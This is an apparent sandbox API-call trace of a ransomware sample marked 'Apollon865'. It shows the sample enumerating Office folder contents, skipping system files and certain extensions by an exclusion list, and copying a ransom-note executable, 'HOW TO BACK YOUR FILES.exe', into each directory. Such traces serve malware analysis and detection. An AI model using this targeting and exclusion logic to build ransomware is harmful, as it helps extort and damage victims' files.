	[0071.118] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0071.118] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0071.118] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51d354f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x4275af30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4275af30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0071.118] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0071.118] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0071.118] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0071.118] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0071.118] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51d354f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2021e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Customer Support.fdt", cAlternateFileName="CUSTOM~1.FDT")) returned 1
	[0071.118] lstrcmpiW (lpString1="Customer Support.fdt", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0071.118] lstrcmpiW (lpString1="Customer Support.fdt", lpString2="Apollon865.txt.exe") returned 1
	[0071.118] lstrcmpiW (lpString1="Customer Support.fdt", lpString2=".") returned 1
	[0071.118] lstrcmpiW (lpString1="Customer Support.fdt", lpString2="..") returned 1
	[0071.118] lstrcmpiW (lpString1="Customer Support.fdt", lpString2="windows") returned -1
	[0071.118] lstrcmpiW (lpString1="Customer Support.fdt", lpString2="bootmgr") returned 1
	[0071.118] lstrcmpiW (lpString1="Customer Support.fdt", lpString2="temp") returned -1
	[0071.118] lstrcmpiW (lpString1="Customer Support.fdt", lpString2="pagefile.sys") returned -1
	[0071.118] lstrcmpiW (lpString1="Customer Support.fdt", lpString2="boot") returned 1
	[0071.118] lstrcmpiW (lpString1="Customer Support.fdt", lpString2="ids.txt") returned -1
	[0071.118] lstrcmpiW (lpString1="Customer Support.fdt", lpString2="ntuser.dat") returned -1
	[0071.118] lstrcmpiW (lpString1="Customer Support.fdt", lpString2="perflogs") returned -1
	[0071.118] lstrcmpiW (lpString1="Customer Support.fdt", lpString2="MSBuild") returned -1
	[0071.118] lstrlenW (lpString="Customer Support.fdt") returned 20
	[0071.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\*") returned 98
	[0071.118] lstrcpyW (in: lpString1=0x2d3e612, lpString2="Customer Support.fdt" | out: lpString1="Customer Support.fdt") returned="Customer Support.fdt"
	[0071.118] lstrlenW (lpString="Customer Support.fdt") returned 20
	[0071.118] lstrlenW (lpString="Apollon865") returned 10
	[0071.118] lstrcmpiW (lpString1="upport.fdt", lpString2="Apollon865") returned 1
	[0071.118] lstrlenW (lpString=".dll") returned 4
	[0071.118] lstrcmpiW (lpString1="Customer Support.fdt", lpString2=".dll") returned 1
	[0071.118] lstrlenW (lpString=".lnk") returned 4
	[0071.118] lstrcmpiW (lpString1="Customer Support.fdt", lpString2=".lnk") returned 1
	[0071.119] lstrlenW (lpString=".ini") returned 4
	[0071.119] lstrcmpiW (lpString1="Customer Support.fdt", lpString2=".ini") returned 1
	[0071.119] lstrlenW (lpString=".sys") returned 4
	[0071.119] lstrcmpiW (lpString1="Customer Support.fdt", lpString2=".sys") returned 1
	[0071.119] lstrlenW (lpString="Customer Support.fdt") returned 20
	[0071.119] lstrcpyW (in: lpString1=0x2d3e612, lpString2="Hardware Tracker.fdt" | out: lpString1="Hardware Tracker.fdt") returned="Hardware Tracker.fdt"
	[0071.119] lstrlenW (lpString="Hardware Tracker.fdt") returned 20
	[0071.119] lstrlenW (lpString="Apollon865") returned 10
	[0071.119] lstrcmpiW (lpString1="racker.fdt", lpString2="Apollon865") returned 1
	[0071.119] lstrlenW (lpString=".dll") returned 4
	[0071.119] lstrcmpiW (lpString1="Hardware Tracker.fdt", lpString2=".dll") returned 1
	[0071.119] lstrlenW (lpString=".lnk") returned 4
	[0071.119] lstrcmpiW (lpString1="Hardware Tracker.fdt", lpString2=".lnk") returned 1
	[0071.119] lstrlenW (lpString=".ini") returned 4
	[0071.119] lstrcmpiW (lpString1="Hardware Tracker.fdt", lpString2=".ini") returned 1
	[0071.119] lstrlenW (lpString=".sys") returned 4
	[0071.119] lstrcmpiW (lpString1="Hardware Tracker.fdt", lpString2=".sys") returned 1
	[0071.119] lstrlenW (lpString="Hardware Tracker.fdt") returned 20
	[0071.119] lstrcpyW (in: lpString1=0x2d3e612, lpString2="Hiring Requisition - Customized.fdt" | out: lpString1="Hiring Requisition - Customized.fdt") returned="Hiring Requisition - Customized.fdt"
	[0071.119] lstrlenW (lpString="Hiring Requisition - Customized.fdt") returned 35
	[0071.119] lstrlenW (lpString="Apollon865") returned 10
	[0071.119] lstrcmpiW (lpString1="omized.fdt", lpString2="Apollon865") returned 1
	[0071.119] lstrlenW (lpString=".dll") returned 4
	[0071.119] lstrcmpiW (lpString1="Hiring Requisition - Customized.fdt", lpString2=".dll") returned 1
	[0071.119] lstrlenW (lpString=".lnk") returned 4
	[0071.119] lstrcmpiW (lpString1="Hiring Requisition - Customized.fdt", lpString2=".lnk") returned 1
	[0071.119] lstrlenW (lpString=".ini") returned 4
	[0071.119] lstrcmpiW (lpString1="Hiring Requisition - Customized.fdt", lpString2=".ini") returned 1
	[0071.119] lstrlenW (lpString=".sys") returned 4
	[0071.119] lstrcmpiW (lpString1="Hiring Requisition - Customized.fdt", lpString2=".sys") returned 1
	[0071.120] lstrlenW (lpString="Hiring Requisition - Customized.fdt") returned 35
	[0071.120] lstrcpyW (in: lpString1=0x2d3e612, lpString2="Hiring Requisition.fdt" | out: lpString1="Hiring Requisition.fdt") returned="Hiring Requisition.fdt"
	[0071.120] lstrlenW (lpString="Hiring Requisition.fdt") returned 22
	[0071.120] lstrlenW (lpString="Apollon865") returned 10
	[0071.120] lstrcmpiW (lpString1="sition.fdt", lpString2="Apollon865") returned 1
	[0071.120] lstrlenW (lpString=".dll") returned 4
	[0071.120] lstrcmpiW (lpString1="Hiring Requisition.fdt", lpString2=".dll") returned 1
	[0071.120] lstrlenW (lpString=".lnk") returned 4
	[0071.120] lstrcmpiW (lpString1="Hiring Requisition.fdt", lpString2=".lnk") returned 1
	[0071.120] lstrlenW (lpString=".ini") returned 4
	[0071.120] lstrcmpiW (lpString1="Hiring Requisition.fdt", lpString2=".ini") returned 1
	[0071.120] lstrlenW (lpString=".sys") returned 4
	[0071.120] lstrcmpiW (lpString1="Hiring Requisition.fdt", lpString2=".sys") returned 1
	[0071.120] lstrlenW (lpString="Hiring Requisition.fdt") returned 22
	[0071.120] lstrcpyW (in: lpString1=0x2d3e612, lpString2="POLICIES.FDT" | out: lpString1="POLICIES.FDT") returned="POLICIES.FDT"
	[0071.120] lstrlenW (lpString="POLICIES.FDT") returned 12
	[0071.120] lstrlenW (lpString="Apollon865") returned 10
	[0071.120] lstrcmpiW (lpString1="LICIES.FDT", lpString2="Apollon865") returned 1
	[0071.120] lstrlenW (lpString=".dll") returned 4
	[0071.120] lstrcmpiW (lpString1="POLICIES.FDT", lpString2=".dll") returned 1
	[0071.120] lstrlenW (lpString=".lnk") returned 4
	[0071.120] lstrcmpiW (lpString1="POLICIES.FDT", lpString2=".lnk") returned 1
	[0071.120] lstrlenW (lpString=".ini") returned 4
	[0071.120] lstrcmpiW (lpString1="POLICIES.FDT", lpString2=".ini") returned 1
	[0071.120] lstrlenW (lpString=".sys") returned 4
	[0071.120] lstrcmpiW (lpString1="POLICIES.FDT", lpString2=".sys") returned 1
	[0071.120] lstrlenW (lpString="POLICIES.FDT") returned 12
	[0071.120] lstrcpyW (in: lpString1=0x2d3e612, lpString2="Process Library.fdt" | out: lpString1="Process Library.fdt") returned="Process Library.fdt"
	[0071.120] lstrlenW (lpString="Process Library.fdt") returned 19
	[0071.120] lstrlenW (lpString="Apollon865") returned 10
	[0071.121] lstrcmpiW (lpString1="ibrary.fdt", lpString2="Apollon865") returned 1
	[0071.121] lstrlenW (lpString=".dll") returned 4
	[0071.121] lstrcmpiW (lpString1="Process Library.fdt", lpString2=".dll") returned 1
	[0071.121] lstrlenW (lpString=".lnk") returned 4
	[0071.121] lstrcmpiW (lpString1="Process Library.fdt", lpString2=".lnk") returned 1
	[0071.121] lstrlenW (lpString=".ini") returned 4
	[0071.121] lstrcmpiW (lpString1="Process Library.fdt", lpString2=".ini") returned 1
	[0071.121] lstrlenW (lpString=".sys") returned 4
	[0071.121] lstrcmpiW (lpString1="Process Library.fdt", lpString2=".sys") returned 1
	[0071.121] lstrlenW (lpString="Process Library.fdt") returned 19
	[0071.170] lstrcpyW (in: lpString1=0x2d3e612, lpString2="Status Report.fdt" | out: lpString1="Status Report.fdt") returned="Status Report.fdt"
	[0071.172] lstrlenW (lpString="Status Report.fdt") returned 17
	[0071.172] lstrlenW (lpString="Apollon865") returned 10
	[0071.172] lstrcmpiW (lpString1="Report.fdt", lpString2="Apollon865") returned 1
	[0071.173] lstrlenW (lpString=".dll") returned 4
	[0071.173] lstrcmpiW (lpString1="Status Report.fdt", lpString2=".dll") returned 1
	[0071.173] lstrlenW (lpString=".lnk") returned 4
	[0071.174] lstrcmpiW (lpString1="Status Report.fdt", lpString2=".lnk") returned 1
	[0071.175] lstrlenW (lpString=".ini") returned 4
	[0071.176] lstrcmpiW (lpString1="Status Report.fdt", lpString2=".ini") returned 1
	[0071.176] lstrlenW (lpString=".sys") returned 4
	[0071.176] lstrcmpiW (lpString1="Status Report.fdt", lpString2=".sys") returned 1
	[0071.179] lstrlenW (lpString="Status Report.fdt") returned 17
	[0071.179] lstrcpyW (in: lpString1=0x2d3e612, lpString2="Track Issues.fdt" | out: lpString1="Track Issues.fdt") returned="Track Issues.fdt"
	[0071.179] lstrlenW (lpString="Track Issues.fdt") returned 16
	[0071.179] lstrlenW (lpString="Apollon865") returned 10
	[0071.179] lstrcmpiW (lpString1="Issues.fdt", lpString2="Apollon865") returned 1
	[0071.179] lstrlenW (lpString=".dll") returned 4
	[0071.179] lstrcmpiW (lpString1="Track Issues.fdt", lpString2=".dll") returned 1
	[0071.179] lstrlenW (lpString=".lnk") returned 4
	[0071.179] lstrcmpiW (lpString1="Track Issues.fdt", lpString2=".lnk") returned 1
	[0071.179] lstrlenW (lpString=".ini") returned 4
	[0071.179] lstrcmpiW (lpString1="Track Issues.fdt", lpString2=".ini") returned 1
	[0071.179] lstrlenW (lpString=".sys") returned 4
	[0071.179] lstrcmpiW (lpString1="Track Issues.fdt", lpString2=".sys") returned 1
	[0071.179] lstrlenW (lpString="Track Issues.fdt") returned 16
	[0071.179] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview"
	[0071.179] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a0f28 | out: hHeap=0x580000) returned 1
	[0071.179] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fe48 | out: hHeap=0x580000) returned 1
	[0071.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview") returned 98
	[0071.180] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview"
	[0071.180] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0071.180] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0071.219] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0071.219] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51741df0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x428658d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x428658d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0071.219] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0071.219] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0071.219] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0071.219] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51741df0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x428658d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x428658d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0071.219] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0071.219] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0071.219] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0071.219] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0071.219] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8608ee00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8608ee00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x368c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Attachments.jpg", cAlternateFileName="ATTACH~1.JPG")) returned 1
	[0071.219] lstrcmpiW (lpString1="Attachments.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0071.220] lstrcmpiW (lpString1="Attachments.jpg", lpString2="Apollon865.txt.exe") returned 1
	[0071.220] lstrcmpiW (lpString1="Attachments.jpg", lpString2=".") returned 1
	[0071.220] lstrcmpiW (lpString1="Attachments.jpg", lpString2="..") returned 1
	[0071.220] lstrcmpiW (lpString1="Attachments.jpg", lpString2="windows") returned -1
	[0071.220] lstrcmpiW (lpString1="Attachments.jpg", lpString2="bootmgr") returned -1
	[0071.220] lstrcmpiW (lpString1="Attachments.jpg", lpString2="temp") returned -1
	[0071.220] lstrcmpiW (lpString1="Attachments.jpg", lpString2="pagefile.sys") returned -1
	[0071.220] lstrcmpiW (lpString1="Attachments.jpg", lpString2="boot") returned -1
	[0071.220] lstrcmpiW (lpString1="Attachments.jpg", lpString2="ids.txt") returned -1
	[0071.220] lstrcmpiW (lpString1="Attachments.jpg", lpString2="ntuser.dat") returned -1
	[0071.220] lstrcmpiW (lpString1="Attachments.jpg", lpString2="perflogs") returned -1
	[0071.220] lstrcmpiW (lpString1="Attachments.jpg", lpString2="MSBuild") returned -1
	[0071.220] lstrlenW (lpString="Attachments.jpg") returned 15
	[0071.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\*") returned 100
	[0071.220] lstrcpyW (in: lpString1=0x2d3e616, lpString2="Attachments.jpg" | out: lpString1="Attachments.jpg") returned="Attachments.jpg"
	[0071.220] lstrlenW (lpString="Attachments.jpg") returned 15
	[0071.220] lstrlenW (lpString="Apollon865") returned 10
	[0071.220] lstrcmpiW (lpString1="hments.jpg", lpString2="Apollon865") returned 1
	[0071.220] lstrlenW (lpString=".dll") returned 4
	[0071.220] lstrcmpiW (lpString1="Attachments.jpg", lpString2=".dll") returned 1
	[0071.220] lstrlenW (lpString=".lnk") returned 4
	[0071.220] lstrcmpiW (lpString1="Attachments.jpg", lpString2=".lnk") returned 1
	[0071.220] lstrlenW (lpString=".ini") returned 4
	[0071.220] lstrcmpiW (lpString1="Attachments.jpg", lpString2=".ini") returned 1
	[0071.220] lstrlenW (lpString=".sys") returned 4
	[0071.220] lstrcmpiW (lpString1="Attachments.jpg", lpString2=".sys") returned 1
	[0071.220] lstrlenW (lpString="Attachments.jpg") returned 15
	[0071.220] lstrcpyW (in: lpString1=0x2d3e616, lpString2="BREAK.JPG" | out: lpString1="BREAK.JPG") returned="BREAK.JPG"
	[0071.220] lstrlenW (lpString="BREAK.JPG") returned 9
	[0071.221] lstrlenW (lpString="Apollon865") returned 10
	[0071.221] lstrlenW (lpString=".dll") returned 4
	[0071.221] lstrcmpiW (lpString1="BREAK.JPG", lpString2=".dll") returned 1
	[0071.221] lstrlenW (lpString=".lnk") returned 4
	[0071.221] lstrcmpiW (lpString1="BREAK.JPG", lpString2=".lnk") returned 1
	[0071.221] lstrlenW (lpString=".ini") returned 4
	[0071.221] lstrcmpiW (lpString1="BREAK.JPG", lpString2=".ini") returned 1
	[0071.221] lstrlenW (lpString=".sys") returned 4
	[0071.221] lstrcmpiW (lpString1="BREAK.JPG", lpString2=".sys") returned 1
	[0071.221] lstrlenW (lpString="BREAK.JPG") returned 9
	[0071.221] lstrcpyW (in: lpString1=0x2d3e616, lpString2="BUTTON.JPG" | out: lpString1="BUTTON.JPG") returned="BUTTON.JPG"
	[0071.221] lstrlenW (lpString="BUTTON.JPG") returned 10
	[0071.221] lstrlenW (lpString="Apollon865") returned 10
	[0071.221] lstrlenW (lpString=".dll") returned 4
	[0071.221] lstrcmpiW (lpString1="BUTTON.JPG", lpString2=".dll") returned 1
	[0071.221] lstrlenW (lpString=".lnk") returned 4
	[0071.221] lstrcmpiW (lpString1="BUTTON.JPG", lpString2=".lnk") returned 1
	[0071.221] lstrlenW (lpString=".ini") returned 4
	[0071.221] lstrcmpiW (lpString1="BUTTON.JPG", lpString2=".ini") returned 1
	[0071.221] lstrlenW (lpString=".sys") returned 4
	[0071.221] lstrcmpiW (lpString1="BUTTON.JPG", lpString2=".sys") returned 1
	[0071.221] lstrlenW (lpString="BUTTON.JPG") returned 10
	[0071.221] lstrcpyW (in: lpString1=0x2d3e616, lpString2="CHECKBOX.JPG" | out: lpString1="CHECKBOX.JPG") returned="CHECKBOX.JPG"
	[0071.221] lstrlenW (lpString="CHECKBOX.JPG") returned 12
	[0071.221] lstrlenW (lpString="Apollon865") returned 10
	[0071.221] lstrcmpiW (lpString1="ECKBOX.JPG", lpString2="Apollon865") returned 1
	[0071.221] lstrlenW (lpString=".dll") returned 4
	[0071.221] lstrcmpiW (lpString1="CHECKBOX.JPG", lpString2=".dll") returned 1
	[0071.221] lstrlenW (lpString=".lnk") returned 4
	[0071.221] lstrcmpiW (lpString1="CHECKBOX.JPG", lpString2=".lnk") returned 1
	[0071.221] lstrlenW (lpString=".ini") returned 4
	[0071.221] lstrcmpiW (lpString1="CHECKBOX.JPG", lpString2=".ini") returned 1
	[0071.222] lstrlenW (lpString=".sys") returned 4
	[0071.222] lstrcmpiW (lpString1="CHECKBOX.JPG", lpString2=".sys") returned 1
	[0071.222] lstrlenW (lpString="CHECKBOX.JPG") returned 12
	[0071.222] lstrcpyW (in: lpString1=0x2d3e616, lpString2="COMBOBOX.JPG" | out: lpString1="COMBOBOX.JPG") returned="COMBOBOX.JPG"
	[0071.222] lstrlenW (lpString="COMBOBOX.JPG") returned 12
	[0071.222] lstrlenW (lpString="Apollon865") returned 10
	[0071.222] lstrcmpiW (lpString1="MBOBOX.JPG", lpString2="Apollon865") returned 1
	[0071.222] lstrlenW (lpString=".dll") returned 4
	[0071.222] lstrcmpiW (lpString1="COMBOBOX.JPG", lpString2=".dll") returned 1
	[0071.222] lstrlenW (lpString=".lnk") returned 4
	[0071.222] lstrcmpiW (lpString1="COMBOBOX.JPG", lpString2=".lnk") returned 1
	[0071.222] lstrlenW (lpString=".ini") returned 4
	[0071.222] lstrcmpiW (lpString1="COMBOBOX.JPG", lpString2=".ini") returned 1
	[0071.222] lstrlenW (lpString=".sys") returned 4
	[0071.222] lstrcmpiW (lpString1="COMBOBOX.JPG", lpString2=".sys") returned 1
	[0071.222] lstrlenW (lpString="COMBOBOX.JPG") returned 12
	[0071.222] lstrcpyW (in: lpString1=0x2d3e616, lpString2="CONTACT.JPG" | out: lpString1="CONTACT.JPG") returned="CONTACT.JPG"
	[0071.222] lstrlenW (lpString="CONTACT.JPG") returned 11
	[0071.222] lstrlenW (lpString="Apollon865") returned 10
	[0071.222] lstrcmpiW (lpString1="ONTACT.JPG", lpString2="Apollon865") returned 1
	[0071.222] lstrlenW (lpString=".dll") returned 4
	[0071.222] lstrcmpiW (lpString1="CONTACT.JPG", lpString2=".dll") returned 1
	[0071.222] lstrlenW (lpString=".lnk") returned 4
	[0071.222] lstrcmpiW (lpString1="CONTACT.JPG", lpString2=".lnk") returned 1
	[0071.222] lstrlenW (lpString=".ini") returned 4
	[0071.222] lstrcmpiW (lpString1="CONTACT.JPG", lpString2=".ini") returned 1
	[0071.222] lstrlenW (lpString=".sys") returned 4
	[0071.222] lstrcmpiW (lpString1="CONTACT.JPG", lpString2=".sys") returned 1
	[0071.222] lstrlenW (lpString="CONTACT.JPG") returned 11
	[0071.222] lstrcpyW (in: lpString1=0x2d3e616, lpString2="CURRENCY.JPG" | out: lpString1="CURRENCY.JPG") returned="CURRENCY.JPG"
	[0071.222] lstrlenW (lpString="CURRENCY.JPG") returned 12
	[0071.223] lstrlenW (lpString="Apollon865") returned 10
	[0071.223] lstrcmpiW (lpString1="RRENCY.JPG", lpString2="Apollon865") returned 1
	[0071.223] lstrlenW (lpString=".dll") returned 4
	[0071.223] lstrcmpiW (lpString1="CURRENCY.JPG", lpString2=".dll") returned 1
	[0071.223] lstrlenW (lpString=".lnk") returned 4
	[0071.223] lstrcmpiW (lpString1="CURRENCY.JPG", lpString2=".lnk") returned 1
	[0071.223] lstrlenW (lpString=".ini") returned 4
	[0071.223] lstrcmpiW (lpString1="CURRENCY.JPG", lpString2=".ini") returned 1
	[0071.223] lstrlenW (lpString=".sys") returned 4
	[0071.223] lstrcmpiW (lpString1="CURRENCY.JPG", lpString2=".sys") returned 1
	[0071.223] lstrlenW (lpString="CURRENCY.JPG") returned 12
	[0071.223] lstrcpyW (in: lpString1=0x2d3e616, lpString2="DATE.JPG" | out: lpString1="DATE.JPG") returned="DATE.JPG"
	[0071.223] lstrlenW (lpString="DATE.JPG") returned 8
	[0071.223] lstrlenW (lpString="Apollon865") returned 10
	[0071.223] lstrlenW (lpString=".dll") returned 4
	[0071.223] lstrcmpiW (lpString1="DATE.JPG", lpString2=".dll") returned 1
	[0071.223] lstrlenW (lpString=".lnk") returned 4
	[0071.223] lstrcmpiW (lpString1="DATE.JPG", lpString2=".lnk") returned 1
	[0071.223] lstrlenW (lpString=".ini") returned 4
	[0071.223] lstrcmpiW (lpString1="DATE.JPG", lpString2=".ini") returned 1
	[0071.223] lstrlenW (lpString=".sys") returned 4
	[0071.223] lstrcmpiW (lpString1="DATE.JPG", lpString2=".sys") returned 1
	[0071.223] lstrlenW (lpString="DATE.JPG") returned 8
	[0071.223] lstrcpyW (in: lpString1=0x2d3e616, lpString2="DATETIME.JPG" | out: lpString1="DATETIME.JPG") returned="DATETIME.JPG"
	[0071.223] lstrlenW (lpString="DATETIME.JPG") returned 12
	[0071.223] lstrlenW (lpString="Apollon865") returned 10
	[0071.223] lstrcmpiW (lpString1="TETIME.JPG", lpString2="Apollon865") returned 1
	[0071.223] lstrlenW (lpString=".dll") returned 4
	[0071.223] lstrcmpiW (lpString1="DATETIME.JPG", lpString2=".dll") returned 1
	[0071.223] lstrlenW (lpString=".lnk") returned 4
	[0071.223] lstrcmpiW (lpString1="DATETIME.JPG", lpString2=".lnk") returned 1
	[0071.224] lstrlenW (lpString=".ini") returned 4
	[0071.224] lstrcmpiW (lpString1="DATETIME.JPG", lpString2=".ini") returned 1
	[0071.224] lstrlenW (lpString=".sys") returned 4
	[0071.224] lstrcmpiW (lpString1="DATETIME.JPG", lpString2=".sys") returned 1
	[0071.224] lstrlenW (lpString="DATETIME.JPG") returned 12
	[0071.224] lstrcpyW (in: lpString1=0x2d3e616, lpString2="DigitalInk.jpg" | out: lpString1="DigitalInk.jpg") returned="DigitalInk.jpg"
	[0071.224] lstrlenW (lpString="DigitalInk.jpg") returned 14
	[0071.224] lstrlenW (lpString="Apollon865") returned 10
	[0071.224] lstrcmpiW (lpString1="talInk.jpg", lpString2="Apollon865") returned 1
	[0071.224] lstrlenW (lpString=".dll") returned 4
	[0071.224] lstrcmpiW (lpString1="DigitalInk.jpg", lpString2=".dll") returned 1
	[0071.224] lstrlenW (lpString=".lnk") returned 4
	[0071.224] lstrcmpiW (lpString1="DigitalInk.jpg", lpString2=".lnk") returned 1
	[0071.224] lstrlenW (lpString=".ini") returned 4
	[0071.224] lstrcmpiW (lpString1="DigitalInk.jpg", lpString2=".ini") returned 1
	[0071.224] lstrlenW (lpString=".sys") returned 4
	[0071.224] lstrcmpiW (lpString1="DigitalInk.jpg", lpString2=".sys") returned 1
	[0071.224] lstrlenW (lpString="DigitalInk.jpg") returned 14
	[0071.224] lstrcpyW (in: lpString1=0x2d3e616, lpString2="EmbeddedView.jpg" | out: lpString1="EmbeddedView.jpg") returned="EmbeddedView.jpg"
	[0071.224] lstrlenW (lpString="EmbeddedView.jpg") returned 16
	[0071.224] lstrlenW (lpString="Apollon865") returned 10
	[0071.224] lstrcmpiW (lpString1="edView.jpg", lpString2="Apollon865") returned 1
	[0071.224] lstrlenW (lpString=".dll") returned 4
	[0071.224] lstrcmpiW (lpString1="EmbeddedView.jpg", lpString2=".dll") returned 1
	[0071.224] lstrlenW (lpString=".lnk") returned 4
	[0071.224] lstrcmpiW (lpString1="EmbeddedView.jpg", lpString2=".lnk") returned 1
	[0071.224] lstrlenW (lpString=".ini") returned 4
	[0071.224] lstrcmpiW (lpString1="EmbeddedView.jpg", lpString2=".ini") returned 1
	[0071.224] lstrlenW (lpString=".sys") returned 4
	[0071.224] lstrcmpiW (lpString1="EmbeddedView.jpg", lpString2=".sys") returned 1
	[0071.224] lstrlenW (lpString="EmbeddedView.jpg") returned 16
	[0071.225] lstrcpyW (in: lpString1=0x2d3e616, lpString2="HEADING.JPG" | out: lpString1="HEADING.JPG") returned="HEADING.JPG"
	[0071.225] lstrlenW (lpString="HEADING.JPG") returned 11
	[0071.225] lstrlenW (lpString="Apollon865") returned 10
	[0071.225] lstrcmpiW (lpString1="EADING.JPG", lpString2="Apollon865") returned 1
	[0071.225] lstrlenW (lpString=".dll") returned 4
	[0071.225] lstrcmpiW (lpString1="HEADING.JPG", lpString2=".dll") returned 1
	[0071.225] lstrlenW (lpString=".lnk") returned 4
	[0071.225] lstrcmpiW (lpString1="HEADING.JPG", lpString2=".lnk") returned 1
	[0071.225] lstrlenW (lpString=".ini") returned 4
	[0071.225] lstrcmpiW (lpString1="HEADING.JPG", lpString2=".ini") returned 1
	[0071.225] lstrlenW (lpString=".sys") returned 4
	[0071.225] lstrcmpiW (lpString1="HEADING.JPG", lpString2=".sys") returned 1
	[0071.225] lstrlenW (lpString="HEADING.JPG") returned 11
	[0071.225] lstrcpyW (in: lpString1=0x2d3e616, lpString2="IMAGE.JPG" | out: lpString1="IMAGE.JPG") returned="IMAGE.JPG"
	[0071.225] lstrlenW (lpString="IMAGE.JPG") returned 9
	[0071.225] lstrlenW (lpString="Apollon865") returned 10
	[0071.225] lstrlenW (lpString=".dll") returned 4
